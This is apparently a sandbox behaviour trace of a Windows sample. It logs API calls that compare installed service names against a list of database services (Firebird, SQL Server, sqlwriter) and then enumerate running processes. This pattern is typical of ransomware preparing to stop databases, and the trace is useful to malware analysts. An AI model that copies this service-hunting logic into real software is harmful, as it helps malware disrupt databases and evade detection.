	[0073.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0073.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0073.480] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0073.480] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0073.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0073.480] lstrlenW (lpString="netprofm") returned 8
	[0073.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0073.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0073.480] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0073.480] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0073.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0073.480] lstrlenW (lpString="NlaSvc") returned 6
	[0073.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0073.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0073.480] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0073.480] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0073.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0073.480] lstrlenW (lpString="nsi") returned 3
	[0073.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0073.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0073.481] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0073.481] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0073.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0073.481] lstrlenW (lpString="PcaSvc") returned 6
	[0073.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0073.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0073.481] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0073.481] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0073.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0073.481] lstrlenW (lpString="PlugPlay") returned 8
	[0073.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0073.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0073.481] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0073.481] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0073.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0073.481] lstrlenW (lpString="Power") returned 5
	[0073.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0073.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0073.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0073.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0073.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0073.481] lstrlenW (lpString="ProfSvc") returned 7
	[0073.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0073.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0073.481] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0073.481] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0073.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0073.481] lstrlenW (lpString="RpcEptMapper") returned 12
	[0073.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0073.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0073.481] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0073.481] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0073.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0073.481] lstrlenW (lpString="RpcSs") returned 5
	[0073.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0073.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0073.482] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0073.482] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0073.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0073.482] lstrlenW (lpString="SamSs") returned 5
	[0073.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0073.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0073.482] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0073.482] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0073.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0073.482] lstrlenW (lpString="Schedule") returned 8
	[0073.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0073.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0073.482] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0073.482] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0073.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0073.482] lstrlenW (lpString="SecurityHealthService") returned 21
	[0073.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0073.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0073.482] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0073.482] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0073.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0073.482] lstrlenW (lpString="SENS") returned 4
	[0073.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0073.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0073.482] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0073.482] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0073.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0073.482] lstrlenW (lpString="ShellHWDetection") returned 16
	[0073.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0073.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0073.482] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0073.482] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0073.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0073.482] lstrlenW (lpString="Spooler") returned 7
	[0073.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0073.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0073.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0073.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0073.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0073.483] lstrlenW (lpString="SSDPSRV") returned 7
	[0073.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0073.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0073.483] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0073.483] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0073.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0073.483] lstrlenW (lpString="StateRepository") returned 15
	[0073.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0073.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0073.483] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0073.483] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0073.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0073.483] lstrlenW (lpString="SysMain") returned 7
	[0073.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0073.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0073.483] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0073.483] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0073.483] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x783bf0 | out: hHeap=0x720000) returned 1
	[0073.483] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d4
	[0074.048] Process32FirstW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0074.049] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0074.049] lstrlenW (lpString="System") returned 6
	[0074.049] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0074.050] lstrlenW (lpString="smss.exe") returned 8
	[0074.050] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0074.051] lstrlenW (lpString="csrss.exe") returned 9
	[0074.051] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0074.051] lstrlenW (lpString="wininit.exe") returned 11
	[0074.051] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0074.052] lstrlenW (lpString="csrss.exe") returned 9
	[0074.052] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0074.052] lstrlenW (lpString="winlogon.exe") returned 12
	[0074.053] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0074.053] lstrlenW (lpString="services.exe") returned 12
	[0074.053] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0074.054] lstrlenW (lpString="lsass.exe") returned 9
	[0074.054] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.054] lstrlenW (lpString="svchost.exe") returned 11
	[0074.054] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0074.055] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0074.055] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0074.055] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0074.055] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.056] lstrlenW (lpString="svchost.exe") returned 11
	[0074.056] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0074.056] lstrlenW (lpString="dwm.exe") returned 7
	[0074.056] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.057] lstrlenW (lpString="svchost.exe") returned 11
	[0074.057] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.057] lstrlenW (lpString="svchost.exe") returned 11
	[0074.057] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.058] lstrlenW (lpString="svchost.exe") returned 11
	[0074.058] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.058] lstrlenW (lpString="svchost.exe") returned 11
	[0074.058] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.059] lstrlenW (lpString="svchost.exe") returned 11
	[0074.059] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.059] lstrlenW (lpString="svchost.exe") returned 11
	[0074.059] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.060] lstrlenW (lpString="svchost.exe") returned 11
	[0074.060] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.060] lstrlenW (lpString="svchost.exe") returned 11
	[0074.060] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.061] lstrlenW (lpString="svchost.exe") returned 11
	[0074.061] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.061] lstrlenW (lpString="svchost.exe") returned 11
	[0074.061] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0074.062] lstrlenW (lpString="spoolsv.exe") returned 11
	[0074.062] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.062] lstrlenW (lpString="svchost.exe") returned 11
	[0074.062] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0074.063] lstrlenW (lpString="audiodg.exe") returned 11
	[0074.063] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0074.063] lstrlenW (lpString="sihost.exe") returned 10
	[0074.063] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.064] lstrlenW (lpString="svchost.exe") returned 11
	[0074.064] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0074.064] lstrlenW (lpString="taskhostw.exe") returned 13
	[0074.064] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0074.065] lstrlenW (lpString="explorer.exe") returned 12
	[0074.065] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0074.065] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0074.065] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0074.066] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0074.066] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0074.067] lstrlenW (lpString="Memory Compression") returned 18
	[0074.067] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0074.068] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0074.068] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0074.068] lstrlenW (lpString="SearchUI.exe") returned 12
	[0074.068] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0074.069] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0074.069] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0074.069] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0074.069] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0074.070] lstrlenW (lpString="pending.exe") returned 11
	[0074.070] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0074.070] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0074.070] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0074.071] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0074.072] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0074.072] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0074.072] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0074.073] lstrlenW (lpString="search.exe") returned 10
	[0074.073] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0074.073] lstrlenW (lpString="compatibility.exe") returned 17
	[0074.073] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0074.074] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0074.074] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0074.074] lstrlenW (lpString="ellen rebound.exe") returned 17
